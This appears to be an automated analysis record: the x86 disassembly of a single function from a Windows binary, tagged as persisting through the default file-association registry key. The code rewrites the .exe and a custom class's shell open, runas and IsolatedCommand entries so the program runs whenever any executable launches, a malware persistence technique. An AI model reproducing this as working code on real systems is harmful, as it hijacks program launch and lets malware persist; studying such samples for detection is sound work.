Function at 0x405640
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
lea esi, [ebp - 0x188]
push edi
mov edi, ecx
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x198], edi
call fcn.004055d0
test al, al
jne 0x40567c
mov byte [ebp - 0x188], al
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x405681
sub eax, edx
sub eax, 0xffffff80
push eax
call fcn.0041ff97
mov ebx, eax
sub esp, 0xfffffffc
mov ecx, edi
mov eax, 0x22
mov word [ebx], ax
mov eax, ecx
mov dword [ebp - 0x19c], ebx
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
or dl, dl
jne 0x4056b0
mov edi, edi
sub ecx, eax
lea edi, [ebx - 1]
mov edx, ecx
mov cl, byte [edi + 1]
inc edi
or cl, cl
jne 0x4056c0
mov ecx, edx
shr ecx, 2
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx - 1]
jmp 0x4056e0
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4056e0
mov edx, dword [str.___START___1___]
mov dword [ecx], edx
mov eax, dword [0x43c65c]
mov dword [ecx + 4], eax
mov edx, dword [0x43c660]
mov dword [ecx + 8], edx
mov eax, dword [0x43c664]
mov dword [ecx + 0xc], eax
mov dl, byte [0x43c668]
mov byte [ecx + 0x10], dl
mov edx, ebx
lea ecx, [ebp - 0x188]
lea ebx, [ebx]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x405740
test al, al
je 0x40573c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405740
add ecx, 2
add edx, 2
or al, al
jne 0x405720
xor eax, eax
jmp 0x405745
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x405f19
mov eax, dword [ebp - 0x190]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x405756
sub eax, edx
sub eax, 0xffffff80
push eax
call fcn.0041ff97
lea ebx, [ebx]
add esp, 4
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x198]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
or dl, dl
jne 0x405780
sub eax, ecx
sub eax, 0xffffff80
push eax
call fcn.0041ff97
mov esi, dword [ebp - 0x194]
mov ebx, eax
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s
push esi
call fcn.00420bd5
mov ecx, dword [str.Application]
mov dword [ebx], ecx
mov edx, dword [0x43c684]
mov dword [ebx + 4], edx
mov eax, dword [0x43c688]
mov dword [ebx + 8], eax
mov eax, ebx
sub esp, 0xfffffff0
lea edi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4057d0
push 0
sub eax, edi
lea ecx, [ebp - 0x18c]
push ecx
push 0
mov edi, eax
push 0x2001f
push 0
push 0
push 0
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405823
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x194]
push eax
push str.SoftwareClasses_s
push ecx
call fcn.00420bd5
mov ecx, 6
mov esi, str.application_x_msdownload
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
movsb byte es:[edi], byte [esi]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x405852
push 0
sub eax, edx
mov edi, eax
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
mov esi, dword [ebp - 0x194]
push 0
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4058ae
push edi
push ebx
push 1
push 0
push str.Content_Type
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x190]
push ecx
push str.SoftwareClasses_sDefaultIcon
push esi
call fcn.00420bd5
mov dx, word [0x43c6d8]
mov word [ebx], dx
mov al, byte [0x43c6da]
mov byte [ebx + 2], al
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4058e0
sub eax, edx
lea ecx, [ebp - 0x18c]
push 0
mov edi, eax
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405933
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s_shellopencommand
push esi
call fcn.00420bd5
mov edx, dword [ebp - 0x198]
sub esp, 0xfffffff4
mov ecx, 0x22
mov word [ebx], cx
mov esi, edx
mov cl, byte [edx]
inc edx
or cl, cl
jne 0x405958
lea edi, [ebx - 1]
sub edx, esi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405964
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebx - 1]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ecx]
mov cl, byte [edx + 1]
inc edx
test cl, cl
jne 0x405980
mov esi, dword [str.___START___1___]
mov dword [edx], esi
mov edi, dword [0x43c65c]
mov dword [edx + 4], edi
mov eax, dword [0x43c660]
mov dword [edx + 8], eax
mov ecx, dword [0x43c664]
mov dword [edx + 0xc], ecx
mov al, byte [0x43c668]
mov byte [edx + 0x10], al
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4059c0
sub eax, edx
mov edi, dword [ebp - 0x194]
mov esi, eax
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push edi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405a19
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x190]
push edx
push str.SoftwareClasses_s_shellopencommand
push edi
call fcn.00420bd5
mov eax, dword [str.__1___]
mov dword [ebx], eax
mov ecx, dword [0x43c708]
mov eax, ebx
sub esp, 0xfffffff4
mov dword [ebx + 4], ecx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x405a43
sub eax, esi
push 0
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
mov esi, eax
push 0
push edi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405a99
push esi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x190]
push ecx
push str.SoftwareClasses_s_shell_runascommand
push edi
call fcn.00420bd5
mov eax, dword [str.__1___]
mov dword [ebx], eax
mov eax, dword [0x43c708]
sub esp, 0xfffffff4
mov dword [ebx + 4], eax
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x405ac3
lea ecx, [ebp - 0x18c]
push 0
push ecx
push 0
push 0x2001f
sub eax, edx
mov esi, eax
push 0
push 0
push 0
push edi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405b16
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s_shell_runascommand
push edi
call fcn.00420bd5
mov ecx, dword [str.__1___]
mov dword [ebx], ecx
mov edx, dword [0x43c708]
mov eax, ebx
mov dword [ebx + 4], edx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405b41
push 0
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push edi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405b97
push esi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x190]
push edx
push 0x43c744
push ebx
call fcn.00420bd5
mov esi, ebx
lea edx, [esi + 1]
add esp, 0xc
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x405bb1
push 0
sub esi, edx
mov edi, esi
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405c08
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 6
mov esi, str.application_x_msdownload
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x405c20
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe
push connect
mov edi, eax
call esi
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405c7c
push edi
push ebx
push 1
push 0
push str.Content_Type
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov cx, word [0x43c6d8]
mov word [ebx], cx
mov dl, byte [0x43c6da]
mov eax, ebx
mov byte [ebx + 2], dl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405c94
push 0
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exeDefaultIcon
push connect
call esi
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405ce7
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x198]
mov esi, edx
mov eax, 0x22
mov word [ebx], ax
mov cl, byte [edx]
inc edx
or cl, cl
jne 0x405cf7
sub edx, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
or cl, cl
jne 0x405d03
mov ecx, edx
lea esp, [esp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
lea eax, [ebx - 1]
rep movsb byte es:[edi], byte [esi]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x405d20
mov edx, dword [str.___START___1___]
mov dword [eax], edx
mov edx, dword [0x43c65c]
mov dword [eax + 4], edx
mov ecx, dword [0x43c660]
mov dword [eax + 8], ecx
mov esi, dword [0x43c664]
mov dword [eax + 0xc], esi
mov cl, byte [0x43c668]
mov byte [eax + 0x10], cl
mov eax, ebx
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x405d60
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
sub eax, edi
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov edi, eax
call esi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405db9
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [str.__1___]
mov dword [ebx], ecx
mov edx, dword [0x43c708]
mov eax, ebx
mov dword [ebx + 4], edx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405dd0
push 0
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
call esi
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405e26
push edi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [str.__1___]
mov dword [ebx], edx
mov eax, dword [0x43c708]
mov dword [ebx + 4], eax
mov eax, ebx
lea edx, [eax + 1]
jmp 0x405e40
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405e40
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shell_runascommand
sub eax, edx
push connect
mov edi, eax
call esi
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405e93
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [str.__1___]
mov dword [ebx], eax
mov ecx, dword [0x43c708]
mov eax, ebx
mov dword [ebx + 4], ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405ea8
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shell_runascommand
push connect
mov edi, eax
call esi
mov eax, dword [ebp - 0x18c]
or eax, eax
je 0x405efe
push edi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x194]
push ecx
call fcn.00420c59
push ebx
call fcn.00420c59
sub esp, 0xfffffff8
mov ebx, dword [ebp - 0x19c]
push ebx
call fcn.00420c59
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret